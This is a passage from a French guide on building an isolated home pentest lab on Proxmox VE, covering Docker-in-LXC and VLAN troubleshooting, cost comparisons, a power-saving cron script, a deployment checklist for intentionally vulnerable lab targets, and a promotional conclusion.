echo "nameserver 10.10.10.1" >> /etc/resolv.conf

Problème : Docker dans LXC ne démarre pas

# Vérifiez que les features nécessaires sont activées
pct set 300 --features nesting=1,keyctl=1

# Le conteneur DOIT être non-privilégié=0 (privilégié) pour Docker
# Ou ajouter les apparmor/security nécessaires pour unprivileged

# Si overlay2 ne fonctionne pas, utiliser fuse-overlayfs :
apt install -y fuse-overlayfs
echo '{"storage-driver": "fuse-overlayfs"}' > /etc/docker/daemon.json
systemctl restart docker

Problème : Impossible de pinger entre VLANs malgré les règles pare-feu

# 1. Vérifier que le bridge est bien VLAN-aware
cat /etc/network/interfaces | grep -A5 vmbr1

# 2. Vérifier que les tags VLAN sont corrects sur chaque VM
qm config 100 | grep net
qm config 200 | grep net

# 3. Sur pfSense, vérifier que les interfaces VLAN sont UP
# et que les règles autorisent le trafic ICMP

# 4. Tester depuis pfSense lui-même
# Diagnostics → Ping → Source: VLAN10, Target: 10.10.20.10

14. Coût Total de Possession et Retour sur Investissement

Investir dans un lab de pentest personnel représente un coût non négligeable. Analysons le retour sur investissement pour justifier cette dépense, que ce soit auprès de votre employeur ou pour votre propre budget.

14.1 Comparatif des Coûts : Lab Maison vs Alternatives

Solution	Coût Annuel	Limitations	Flexibilité
Lab Proxmox maison	~100 €/an (électricité)	Investissement initial matériel	✅ Totale
Hack The Box Pro	~170 €/an	Pas de personnalisation AD	⚠️ Limitée aux labs proposés
TryHackMe Premium	~120 €/an	Environnements prédéfinis	⚠️ Limitée
Lab Cloud (AWS/Azure)	500-2000 €/an	Coûts variables, latence	✅ Bonne mais chère
DVAD/PentesterLab Pro	~200 €/an	Scénarios figés	❌ Très limitée
Lab maison + HTB Pro	~270 €/an	Meilleur combo	✅ Optimale

Sur 3 ans, un lab maison à 1 000 € d'investissement initial + 300 € d'électricité coûte 1 300 € au total, soit moins qu'un an de lab cloud. Et vous conservez le matériel, qui peut servir à d'autres usages (NAS, serveur domotique, cluster Kubernetes). Le retour sur investissement est massif quand on considère les compétences acquises : les pentesters certifiés OSCP gagnent en moyenne 15 à 25% de plus que ceux sans certification, et un lab personnel est le meilleur moyen de préparer l'examen.

14.2 Optimisation de la Consommation Électrique

Un serveur lab qui tourne 24/7 consomme de l'énergie. Voici comment optimiser ce poste :

# Mesurer la consommation réelle
apt install -y powertop
powertop --auto-tune  # Activer les optimisations d'énergie

# Configurer l'arrêt automatique des VMs inutilisées
# Script cron : éteindre les VMs du lab la nuit
cat > /usr/local/bin/lab-power-save.sh << 'SCRIPT'
#!/bin/bash
HOUR=$(date +%H)
if [ "$HOUR" -ge 23 ] || [ "$HOUR" -lt 7 ]; then
    # Nuit : arrêter les VMs non essentielles
    for vmid in 201 202 300 400; do
        qm status $vmid 2>/dev/null | grep -q running && qm shutdown $vmid
    done
else
    # Jour : démarrer les VMs du lab
    for vmid in 200 100; do
        qm status $vmid 2>/dev/null | grep -q stopped && qm start $vmid
    done
fi
SCRIPT
chmod +x /usr/local/bin/lab-power-save.sh
echo "*/30 * * * * root /usr/local/bin/lab-power-save.sh" >> /etc/crontab

# Configuration BIOS : activer les états C-states et P-states
# Intel SpeedStep ou AMD Cool'n'Quiet pour réduire la fréquence au repos

Un serveur lab typique consomme entre 60 et 150 watts selon la charge. En France, avec un coût moyen de 0,25 €/kWh, cela représente entre 130 € et 330 € par an en fonctionnement 24/7. Avec notre script de power saving, vous pouvez réduire cette facture de 30 à 40% en éteignant les VMs la nuit et les week-ends quand vous ne pratiquez pas.

15. Questions Fréquentes (FAQ)

14.3 Checklist de Déploiement Complète

Avant de considérer votre lab comme opérationnel, vérifiez chaque point de cette checklist exhaustive. Nous l'utilisons systématiquement chez Ayinedjimi Consultants lors de la mise en place de nos environnements de lab pour les formations et les missions internes.

1. Infrastructure Proxmox : Proxmox VE installé et mis à jour, dépôt no-subscription configuré, stockage ZFS ou LVM-thin fonctionnel avec compression activée
2. Réseau : Bridge VLAN-aware créé (vmbr1), 5 VLANs configurés (Attack, AD, Targets, OT, Monitoring), pare-feu pfSense ou OPNsense déployé et configuré avec les règles de filtrage inter-VLAN appropriées
3. Station d'attaque : Kali Linux installée avec les drivers VirtIO et QEMU Guest Agent, tous les outils de pentest mis à jour, adresse IP statique configurée dans le VLAN 10, snapshot golden image créé
4. Active Directory : Windows Server 2022 promu en DC, domaine pentest.lab créé, comptes Kerberoastable et ASREPRoastable configurés, ADCS avec templates vulnérables, ACLs permissives sur des objets stratégiques, BadBlood exécuté pour la population réaliste
5. Cibles Web : Conteneur LXC avec Docker déployé dans le VLAN 30, DVWA, Juice Shop, WebGoat et les autres applications lancées et accessibles depuis Kali
6. Réseau OT : GRFICSv2 ou OpenPLC déployé dans le VLAN 40, protocoles Modbus TCP accessibles pour les exercices de sécurité industrielle
7. Monitoring : Wazuh déployé dans le VLAN 50, agents installés sur le DC et les stations de travail Windows, règles de détection personnalisées pour Kerberoasting, ASREPRoasting et DCSync ajoutées et testées
8. Automatisation : Fichiers Terraform et Ansible versionnés dans un dépôt Git privé, templates cloud-init préparés pour le clonage rapide des VMs de base
9. Sauvegardes : Planification VZDump configurée avec rétention appropriée, snapshots golden image créés pour chaque VM critique du lab
10. Sécurité du lab : Isolation réseau vérifiée (les VMs vulnérables ne peuvent pas atteindre Internet ni votre réseau domestique), firewall Proxmox activé sur l'interface management, accès SSH restreint par clé uniquement
11. Documentation : Chaque VM documentée avec ses credentials par défaut, ses services exposés et ses vulnérabilités intentionnelles dans les notes Proxmox, diagramme réseau à jour et accessible rapidement

Une fois tous ces points validés, votre lab est prêt pour des sessions d'entraînement intensives. N'oubliez pas de prendre un snapshot complet de l'ensemble avant de commencer vos premiers exercices — c'est votre point de restauration de référence absolue auquel vous reviendrez systématiquement entre les sessions de pratique.

Conclusion — Passez à l'Action

Vous disposez maintenant de toutes les clés pour construire un lab de pentest professionnel sur Proxmox VE. Récapitulons les points essentiels :

1. Le matériel : 64 Go de RAM et un SSD NVMe sont le sweet spot pour un lab polyvalent
2. Proxmox VE : hyperviseur bare-metal gratuit, avec KVM + LXC + ZFS + API REST
3. La segmentation réseau : VLANs + pare-feu virtuel reproduisent les architectures d'entreprise
4. L'Active Directory vulnérable : des misconfigurations réalistes (Kerberoast, ADCS, ACLs) et non de simples mots de passe faibles
5. Les cibles web : Docker dans LXC pour une efficacité mémoire maximale
6. Le réseau OT : GRFICSv2 et OpenPLC pour les compétences ICS/SCADA
7. L'automatisation : Terraform + Ansible pour reconstruire le lab en 30 minutes
8. Le monitoring : Wazuh + ELK transforment votre lab en environnement Purple Team

N'attendez pas d'avoir le setup parfait pour commencer. Un simple PC avec 32 Go de RAM, une Kali et un DC vulnérable suffisent pour progresser considérablement. Vous pourrez enrichir votre lab au fil du temps, en ajoutant des composants selon vos besoins et votre budget.

Chez Ayinedjimi Consultants, nous utilisons ce type de lab quotidiennement pour nos missions de pentest, nos formations et notre recherche en sécurité. Si vous avez besoin d'accompagnement pour monter votre propre infrastructure de lab, d'une formation personnalisée, ou d'un audit de sécurité, contactez notre équipe. Nous serons ravis de vous aider à passer au niveau supérieur.

Cet article est régulièrement mis à jour pour refléter les dernières versions de Proxmox VE et les évolutions des outils de pentest. Dernière mise à jour : janvier 2026.

Pour aller plus loin, explorez nos autres guides techniques sur la sécurisation de Proxmox et les exercices Purple Team. Bon hacking éthique ! 🐉